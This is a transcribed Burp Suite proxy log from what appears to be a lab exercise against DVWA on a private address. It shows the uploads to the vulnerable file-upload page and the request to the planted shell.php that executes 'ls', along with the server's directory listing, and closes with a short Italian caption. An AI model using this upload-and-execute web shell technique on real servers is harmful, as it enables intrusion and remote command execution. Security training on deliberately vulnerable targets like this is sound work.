



1 2 3 4

Burp Suite Community Edition v2023.9.1 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Settings

Intercept HTTP history WebSockets history Proxy settings

Filter: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title
9	http://192.168.50.101	GET	/dvwa/security.php			200	4497	HTML	php	Damn Vulnerable Web Ap.
10	http://192.168.50.101	GET	/dvwa/vulnerabilities/upload/			200	4826	HTML		Damn Vulnerable Web Ap.
11	https://passwordsleakcheck-pa...	POST	/v1/leaks:lookupSingle	✓						
12	http://192.168.50.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4865	HTML		Damn Vulnerable Web Ap.
13	http://192.168.50.101	POST	/dvwa/vulnerabilities/upload/	✓	✓	404	505	HTML		404 Not Found
14	http://192.168.50.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4865	HTML		Damn Vulnerable Web Ap.
15	http://192.168.50.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4865	HTML		Damn Vulnerable Web Ap.
16	http://192.168.50.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4891	HTML		Damn Vulnerable Web Ap.
17	http://192.168.50.101	GET	/dvwa/vulnerabilities/upload/shell.php?...	✓		404	505	HTML	php	404 Not Found
18	http://192.168.50.101	POST	/dvwa/vulnerabilities/upload/	✓		200	4891	HTML		Damn Vulnerable Web Ap.
19	http://192.168.50.101	GET	/dvwa/hackable/uploads/shell.php?cmd=ls	✓		200	219	text	php	
20	http://192.168.50.101	GET	/dvwa/hackable/uploads/shell.php?cmd=ls	✓		200	219	text	php	

**Request**

Pretty Raw Hex

```
1 GET /dvwa/hackable/uploads/shell.php?cmd=ls
2 HTTP/1.1
3 Host: 192.168.50.101
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;q=0.9
9 Cookie: security=low; PHPSESSID=a2099aa418e2d557619d45fdbcc1ad7a
10 Connection: close
11
```

**Response**

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Date: Mon, 30 Oct 2023 13:46:37 GMT
3 Server: Apache/2.2.8 (Ubuntu) DAV/2
4 X-Powered-By: PHP/5.2.4-2ubuntu5.10
5 Connection: close
6 Content-Type: text/html
7 Content-Length: 25
8
9 dvwa_email.png
10 shell.php
11
```

**Inspector**

Request attributes 2

Request query parameters 1

Request cookies 2

Request headers 8

Response headers 6

192.168.50.101/dvwa/hack x +

Not secure | 192.168.50.101/dvwa/hackable/uploads/shell.php?cmd=ls

dvwa\_email.png shell.php

Pagina della shell (semplicissima) in funzione  
+ intercettazioni di BurpSuite.